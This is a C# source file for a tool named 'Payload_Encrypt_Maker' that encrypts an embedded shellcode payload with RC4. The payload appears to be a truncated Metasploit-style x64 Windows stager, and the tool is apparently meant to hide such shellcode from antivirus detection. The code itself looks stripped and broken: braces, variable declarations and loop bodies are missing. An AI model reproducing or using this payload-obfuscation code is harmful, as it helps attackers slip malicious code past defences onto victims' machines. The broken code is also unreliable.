using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("Payload_Encrypt_Maker")]
[assembly: AssemblyDescription("Publisher and Author: Damon mohammadbagher")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Payload_Encrypt_Maker")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: ComVisible(false)]
[assembly: Guid("097ba4a7-7b6d-4fbb-8a7b-2c84af6b8a1f")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
namespace Payload_Encrypt_Maker
static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
static byte[] payload ={0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52
,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48
,0x8b,0x52,0x20,0x48,0x8b,0xb5,0xa2,0x56,0xff,0xd5 };
private static byte[] EncryptBytes(IEnumerable<byte> bytes)
using (var r = Rijndael.Create())
using (var encryptor = r.CreateEncryptor(KEY, IV))
return Transform(bytes, encryptor);
private static byte[] DecryptBytes(IEnumerable<byte> bytes)
using (var r = Rijndael.Create())
using (var decryptor = r.CreateDecryptor(KEY, IV))
return Transform(bytes, decryptor);
private static byte[] Transform(IEnumerable<byte> bytes, ICryptoTransform transform)
using (var stream = new MemoryStream())
using (var cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write))
cryptoStream.WriteByte(b);
private static class Encryption_Class
public static string Encrypt(string key, string data)
Encoding unicode = Encoding.Unicode;
return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
public static string Decrypt(string key, string data)
Encoding unicode = Encoding.Unicode;
return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data)));
public static byte[] Encrypt(byte[] key, byte[] data)
return EncryptOutput(key, data).ToArray();
public static byte[] Decrypt(byte[] key, byte[] data)
return EncryptOutput(key, data).ToArray();
private static byte[] EncryptInitalize(byte[] key)
byte[] s = Enumerable.Range(0, 256)
for (int i = 0, j = 0; i < 256; i++)
j = (j + key[i % key.Length] + s[i]) & 255;
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
byte[] s = EncryptInitalize(key);
return data.Select((b) =>
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
private static void Swap(byte[] s, int i, int j)
static void Main(string[] args)
Console.WriteLine(" "); Console.WriteLine("----------input---payload----------------"); Console.WriteLine(" ");
for (int i = 0; i < payload.Length; i++)
{ c++;Console.Write(payload[i].ToString() + ","); }
Console.WriteLine(" "); Console.WriteLine(" ");
Console.WriteLine("byte payload:= " + payload.Length.ToString());
Console.WriteLine("c := " + c.ToString()); Console.WriteLine(" ");
Console.WriteLine(" "); Console.WriteLine("---------encrypted payload----------------"); Console.WriteLine(" ");
byte[] result = Encryption_Class.Encrypt(KEY, payload);
for (int i = 0; i < result.Length; i++)
if (i == result.Length+1)
{Console.Write(result[i].ToString());}
if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
Console.WriteLine(" ");Console.WriteLine("byte result:= "+ result.Length.ToString()); Console.WriteLine("i:= " + b.ToString());
Console.WriteLine(" ");Console.WriteLine(" "); Console.WriteLine("----------Decrypted payload -------------------");Console.WriteLine(" ");
byte[] result2 = Encryption_Class.Decrypt(KEY, result);
for (int i = 0; i < result2.Length; i++)
{ Console.Write(result2[i].ToString() + ","); }